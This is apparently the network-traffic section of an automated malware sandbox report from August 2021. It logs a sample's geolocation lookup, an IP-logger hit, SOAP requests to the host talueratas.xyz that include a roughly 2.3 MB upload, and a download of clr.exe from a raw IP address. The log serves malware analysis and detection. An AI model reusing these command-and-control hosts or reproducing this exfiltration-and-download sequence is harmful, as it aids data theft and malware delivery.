Network Analysis

GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive

HTTP/1.1 200 OK Date: Thu, 19 Aug 2021 01:05:24 GMT Content-Type: application/json; charset=utf-8 Content-Length: 347 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-cache Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LkpT5UhbEl%2FI9Djbb5KGujhNHh8cDP%2BDTLC0WSiTW3TfbF4SHJ5pXhfuUarQKtt9Lv24wCf4ruaTk6CXTCkKFBE166sM%2F%2F03OxwUV0BQ2Box%2B7Aqmmx3D7zc%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 680f792aed620a4e-KIX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

GET /SVK43 HTTP/1.1 Host: 2no.co Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Aug 2021 01:06:10 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=n8c18h3h2bacj4gr9amesp8013; path=/; HttpOnly Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249713021; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:01 GMT Answers: whoami: 2d939b5aee78649ba5dcf483ea0aaa5e19e86948b4778e339f04998c89927566 Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: talueratas.xyz Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

HTTP/1.1 100 Continue

POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: talueratas.xyz Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate

HTTP/1.1 100 Continue

POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: talueratas.xyz Content-Length: 2363011 Expect: 100-continue Accept-Encoding: gzip, deflate

HTTP/1.1 100 Continue

POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: talueratas.xyz Content-Length: 1437 Expect: 100-continue Accept-Encoding: gzip, deflate

HTTP/1.1 100 Continue

GET /clr.exe HTTP/1.1 Host: 5.252.176.81 Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Thu, 19 Aug 2021 01:05:31 GMT Content-Type: application/octet-stream Content-Length: 7229952 Last-Modified: Wed, 18 Aug 2021 20:03:56 GMT Connection: keep-alive ETag: "611d67ac-6e5200" Accept-Ranges: bytes

POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/VerifyUpdate" Host: talueratas.xyz Content-Length: 1463 Expect: 100-continue Accept-Encoding: gzip, deflate

HTTP/1.1 100 Continue